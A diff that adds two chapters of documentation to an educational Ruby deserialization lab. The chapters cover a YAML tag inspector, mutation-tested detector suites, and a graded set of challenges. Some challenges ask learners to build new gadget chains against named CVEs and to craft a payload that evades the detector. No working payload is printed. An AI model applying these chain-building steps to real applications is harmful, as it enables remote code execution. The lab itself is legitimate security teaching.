points at the third column as the cheaper place to catch it. + +## Part seven: walking a YAML document + +`Marshalsea::Psych::Walk` is a visitor over the AST that `Psych.parse_stream` returns. The only clever part is tracking key position: + +```ruby +def descend(node, depth) + children = node.children + return unless children + + mapping = node.is_a?(::Psych::Nodes::Mapping) + children.each_with_index do |child, index| + visit(child, depth + 1, mapping && (index % MAPPING_KEY_STRIDE).zero?) + end +end +``` + +A `Psych::Nodes::Mapping` stores its children as a flat alternating list, key, value, key, value. So even indices are keys. That single `% 2 == 0` is what lets the inspector say "this class is in a **mapping key**, so its `#hash` and `#==` run while the mapping is rebuilt," which is the YAML equivalent of the Marshal hash-key rule and is checked first in `violation_for` for the same reason. + +`record` is the other half: + +```ruby +kind, class_name = Tags.parse(node.tag) +return unless kind + +@references << Reference.new(class_name: class_name, kind: kind, key_position: key_position) +``` + +`Tags::PATTERN` is `%r{\A!ruby/(?[a-z_-]+)(?::(?.+))?\z}`, anchored at both ends so a tag that merely *contains* `!ruby/` does not match. The class name is optional because `!ruby/object` with no class is a legal tag that revives nothing nameable, and `revivable` filters those out before the allowlist check so a nameless tag cannot be "unapproved." + +Aliases increment a counter and are never expanded. The limits are checked inside `visit`, so depth, node count, and alias count all fail before the walk continues rather than after it completes. + +```ruby +insp.inspect_document("--- !ruby/object:Gem::Version\nversion: '1'\n") +# blocked: document revives unapproved class "Gem::Version" through init_with +``` + +Note "through `init_with`." The reason string names the method the tag would dispatch, not just the class, which is the whole reason the tag-to-method table exists. + +## Part eight: how any of this is known to work + +The discipline here is that **a green suite proves nothing until the thing under test has been mutated.** 268 tests across seven suites is a number, not an argument. Three specific practices are what make it an argument. + +**Differential oracles.** The tests do not assert against a spec-derived model of what Ruby does. They run real `Marshal.load` and real `Psych` under a `TracePoint`, observe what actually dispatched, and assert the library's model agrees. That found four defects that spec-derived assertions had missed. + +**Liveness guards on both directions.** A differential oracle can fail two ways: it can observe nothing (and pass vacuously) or observe everything (and prove nothing). So the assertions come in pairs: + +```ruby +assert_includes observed.values, true, "no version accepted, so the oracle is dead" +assert_includes observed.values, false, "every version accepted, so the oracle proves nothing" +``` + +There is a standalone `test_load_watcher_oracle_is_live` whose only job is to confirm the watcher fires on a known-good load, so the tests that depend on it cannot pass by silence. + +**The showpiece test.** The two-allowlists argument is not asserted in prose anywhere in the suite. It is executed: + +```ruby +assert_raises(::Psych::DisallowedClass) { ::Psych.safe_load(document, permitted_classes: []) } +assert_empty FIRED, "Psych checks the tag before revival, so init_with never ran" + +FIRED.clear +::Marshal.load(Marshal.dump(MarshalGadget.new), ->(object) { object }) rescue nil +assert_equal [:marshal_load], FIRED, + "Marshal runs its proc in r_post_proc, after load_funcall has already fired the callback" +``` + +Two deserializers, one idea, opposite outcomes, and the failure message explains the mechanism rather than restating the assertion. There is a companion test for the method-erased proxy that asserts the *same class* is a valid Psych entry point and an invalid Marshal one, in both directions, in one test body. + +The habit generalizes and it is the thing worth stealing from this project: every rule ships with the mutant that kills it. If you add a rule claiming the code does X, go break X and watch a test go red. Twelve mutants were killed this way during development, and two detector bypasses had shipped under 110 green tests before that discipline was applied. + +## Where to go next + +[04-CHALLENGES.md](./04-CHALLENGES.md) is the extension track: a new chain, a scanner that follows links into real chains, closing the guard's deferred-execution bypass, and the capstone that has you break this tool with a payload it currently accepts. diff --git a/PROJECTS/beginner/deserialization-gadget-lab/learn/04-CHALLENGES.md b/PROJECTS/beginner/deserialization-gadget-lab/learn/04-CHALLENGES.md new file mode 100644 index 00000000..7ed726ed --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/learn/04-CHALLENGES.md @@ -0,0 +1,81 @@ + + + +# marshalsea: Challenges + +The best way to understand a gadget chain is to build one. The best way to understand a detector is to get a payload past it. This chapter is a graded set of projects, each naming the files you would touch and the test that would prove you finished. They are ordered roughly by effort. + +None of these is a hint at incomplete work. The lab is complete: 268 tests across seven suites, six gate stages, 79 assertions, all green. These are the doors it deliberately leaves open, and two of them are documented deferrals with real tradeoffs that are named honestly below rather than dressed up as exercises. + +Before you start: + +```bash +just check # seven suites plus the standalone controls +just gate # everything, about ten minutes, runs real containers +just corpus # every adversarial payload and what the detector decided +just scan # the gadget scanner over whatever this process has loaded +just lint # rubocop across 37 files +``` + +**Every challenge below should end two ways: a green suite, and a test that would have failed before your change.** That second half is the part that matters. This project shipped two detector bypasses under 110 passing tests, so a green suite on its own is evidence of nothing. If you add a rule claiming the code does X, go break X and watch a test go red before you believe it. + +## Warm-ups + +**Add a sink tag the parser does not know about.** The three sink tags are `u`, `U`, and `d`, mapped to `_load`, `marshal_load`, and `_load_data` in `Constants::SINK_METHODS`. Pick any other tag from the format, decide what it would dispatch, and add it. The point of the exercise is discovering how little you have to touch: the table is a frozen constant, `Node#sink?` and `Node#sink_method` are lookups into it, and the detector's ladder never names a tag directly. Prove it with a corpus entry that must be rejected, and then go the other way and confirm your new tag does *not* fire on a stream that merely mentions the class in value position. + +**Make the reason-string budget configurable.** `REASON_MAX_NAME_BYTES` is 96 and `REASON_MAX_NAMES` is 8, both hard-coded. Move them onto `Limits` so an application logging to a system with a smaller line budget can shrink them. The test that matters is the adversarial one: a class name of 10,000 bytes containing newlines must still produce a single-line, truncated, `inspect`-escaped reason at whatever ceiling you set. A reason string is attacker-controlled output, and this is a log-injection surface before it is a formatting preference. + +**Teach the scanner one more link method.** `to_s` and `coerce` are the two methods currently classified `GATE_LINK`: reachable by a gadget mid-chain, never dispatched by a deserializer. Find another one in the published chain literature, add it to `ENTRY_POINTS` with `gate: GATE_LINK` and `formats: []`, and confirm the link count moves while the reachable count does not. If reachable moves, you classified it wrong, and that is the lesson. + +**Add a `--namespace` filter to a scan you care about.** `Scanner.new(namespace: "Gem")` already exists and the justfile already passes it through (`just scan Gem`). Use it to scan only your own application's namespace, then compare against a full scan. The interesting result is usually how few of your own classes are candidates and how many of your dependencies' are. + +## Intermediate + +**Write a third chain against a different CVE.** The registry is directory-based: drop a file in `lib/marshalsea/chains/`, subclass `Base`, and `inherited` registers it. You need `metadata` (name, vector, cve, gem, affected constraints, kind), a `generate` that returns a live object or document, and a `serialize` if the default `Marshal.dump` is wrong for your entry point. RDoc's CVE-2024-27281 is a reasonable target because the mechanism is documented and the affected ranges are precise; the trap is that four of the "fixed" versions contain an incorrect fix, so your `affected` constraints have to encode `6.3.4.1` and not `6.3.4`. Prove it with a version-boundary test in both directions, the way `erb-def-module` asserts `6.0.1` affected and `6.0.1.1` not. + +**Make the scanner follow links into actual chains.** Right now the scanner reports entry points and links as two separate lists and never connects them. That is honest but it stops one step short of the interesting question: *given this entry point, what can it reach?* Build a second pass that, for each reachable entry point, walks the method body with Prism looking for calls to methods on ivar-held receivers, and emits candidate two-step chains. The honest deliverable is not a chain finder, it is a *ranked* list plus a written statement of its false-positive rate, because a static walk cannot know what those ivars will hold at load time. Measure that rate against the one chain in this repo that is known to be real. + +**Close the guard's `#hash` hole without the strict-mode cost.** `LoadGuard` deliberately does not watch `#hash` and `#eql?` by default, because they are among the hottest methods in Ruby. `strict: true` watches them and pays for it. Find a third option: watch `#hash` but filter the `TracePoint` to receivers whose class is outside a permitted set before doing any other work, or use `TracePoint#enable(target:)` to scope the trace rather than filtering inside the handler. Then **measure it**, on the payload sizes that matter, and publish the number with the payload size attached. If your version is not meaningfully cheaper than `strict: true`, that is a real result and should be written down as one. + +**Build the authenticated session envelope.** The target deserializes a base64 cookie with no signature at all, which is realistic for a teaching target and is *not* what a real application should do. Add an HMAC or AEAD envelope in front of `Marshal.load`, verify it before the bytes reach any deserializer, and then write the test that makes the lesson land: **a valid signature does not make the payload safe.** Sign a real gadget payload with the correct key and confirm it still executes. That is CVE-2019-5420 and CVE-2018-15133 reproduced in your own code, and it is the cleanest possible demonstration that signing addresses tampering, not untrusted origin. This is a deliberate scope decision in the current lab, not an oversight; the reason it was left out is that the two-allowlists lesson is clearer without a crypto layer in the way. + +**Extend the Psych inspector to Oj.** Ruby's `oj` gem supports object instantiation from JSON in its `:object` mode, which is its **default**. A JSON parser that is object-injection-capable out of the box is the most surprising fact in this whole area and it has no representation in this lab. Write a third reader that reads Oj-mode JSON without loading it, reports which classes it would instantiate, and produces a `Decision` in the same vocabulary as the other two. The design constraint is the interesting part: the two existing readers share a `Decision` class deliberately, so a third one that needed a different shape would be telling you something about the abstraction. + +## Advanced + +**Build the eager-load stage the design contract asks for.** The scanner can only see classes that have been required, so a scan of a bare process sees 691 modules and a scan inside a booted Rails app sees several thousand. The obvious fix is a stage that requires every file in every installed gem before scanning. It is also **arbitrary code execution by design**: requiring a gem runs its top-level code, so an eager-load stage run against untrusted gems is a supply-chain footgun pointed at the operator. Build it, and build the isolation that makes it defensible: a separate container with no network, a read-only mount, a timeout, and an explicit opt-in flag whose help text says what it does. The deliverable that matters is the written threat model, not the loop. This is the single largest open item in the project and it was deferred for exactly this reason. + +**Model a second interpreter version.** The parser models Ruby 3.4 and newer, and the gem floor is `>= 3.4` because `Marshal.load` did not validate the bignum sign byte until 3.4. That means the parser and the interpreter *disagree* on 3.3, and `just package` proves that boundary in both directions on every run. Make the parser version-aware: accept a target version, relax the bignum sign check below 3.4, and lower the floor. Then write the differential test that keeps you honest, running the same stream through the real `Marshal.load` on both a 3.3 and a 3.4 container and asserting the parser agrees with **each** of them. You will discover quickly that "which Ruby is this stream for" is not a question the stream can answer, which is the real lesson. + +**Attack the parser's forensic tolerance.** The parser deliberately keeps going where CRuby stops, and the detector rejects on the anomalies it records. That split is the design, but it is also an attack surface: any place the parser's model of the format diverges from CRuby's is a potential differential. Go find one. Build a fuzzer that generates streams, feeds each to both the parser and a sandboxed real `Marshal.load`, and flags every case where the parser reports a class or sink set that the interpreter's actual behaviour contradicts. This is the highest-value security work available in the repo, and a single confirmed differential would be a real finding. + +**Write the detector that beats a denylist.** [01-CONCEPTS.md](./01-CONCEPTS.md) argues that denylist scanning of a serialization stream loses on architecture, with 26+ picklescan CVEs and CWE-184 as the evidence. Take that seriously and design the alternative. What would a *structural* policy look like, one that decides on the shape of the graph rather than on a list of names? A stream containing only primitives, arrays, hashes with primitive keys, and strings is safe by construction, regardless of which classes exist. Implement that as a fourth policy, measure how many real-world payloads it rejects (that number will be high, and that is the honest cost), and write down where the boundary between "safe by construction" and "useful" actually sits. + +**Make the target a real vulnerable-app corpus.** The target has four endpoints across two deserializers. Add the second-order sink from CVE-2022-32224: a route that writes attacker-influenced data to a store and a *different* route that reads it back and deserializes it, so the payload never appears in the request that triggers execution. That is the shape that defeats a trust boundary drawn at the HTTP edge, and it is much harder to reason about than the direct case. The gate stage that proves it has to span two requests, which is itself a useful thing to have built. + +## A capstone: get a payload past the detector + +If you want one project that ties the whole lab together, do this one. + +The detector's `LIMITATION_NOTICE` says out loud that an accept decision means only "these bytes matched this policy." Your job is to make that concrete: **find a stream the strict-allowlist detector accepts that still does something an operator would not sanction.** + +You have three angles and they are all legitimate: + +1. **Find a class worth allowlisting that is dangerous anyway.** The notice concedes this directly: "Class allowlisting compares serialized names. It does not prove that the corresponding Ruby code is harmless." An application that allowlists `ERB` accepts the published CVE chain, because that payload carries zero sink tags. Find a second class with the same property. +2. **Find a dispatch the parser does not model.** The ladder covers sink tags, `#hash` and `#eql?` in key position, and `#<=>` in `Range` endpoints. Three of those five rules were added because a bypass shipped first. There is no reason to believe the list is complete. Go read `marshal.c` and find the sixth. +3. **Find a parser-versus-interpreter differential.** If the parser and CRuby disagree about what a stream contains, the detector is deciding about a graph that is not the one that will be loaded. + +The rules of the exercise, which are the same rules the project holds itself to: + +- Your bypass must be **reproducible from a byte string**, not from a hand-built object graph. If you cannot write it down as bytes, it is not a payload. +- It must be accepted under `strict_allowlist`, not just under `deny_sinks_only`. Beating the weaker policy proves nothing. +- Ship the fix **and the mutant**: add the rule that catches it, then gut the rule and watch the corpus entry go red. A rule you cannot kill is a rule you have not tested. +- Add a **negative control** alongside it: a payload of the same shape that must still be accepted. Otherwise you cannot tell your new rule from a detector that rejects everything. + +When you have done that once, you will understand this bug class better than any write-up teaches, because you will have been on both sides of the same file. + +## Where to go next + +Re-read [01-CONCEPTS.md](./01-CONCEPTS.md) with the code from [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) fresh in your head. The two-allowlists argument reads differently once you have seen `in_hash_key_position` splice a payload together byte by byte, and the Equifax debunk reads differently once you know how much work it takes to be sure about one claim. + +Then run `just corpus`, pick any line in that table, and go find the test that put it there.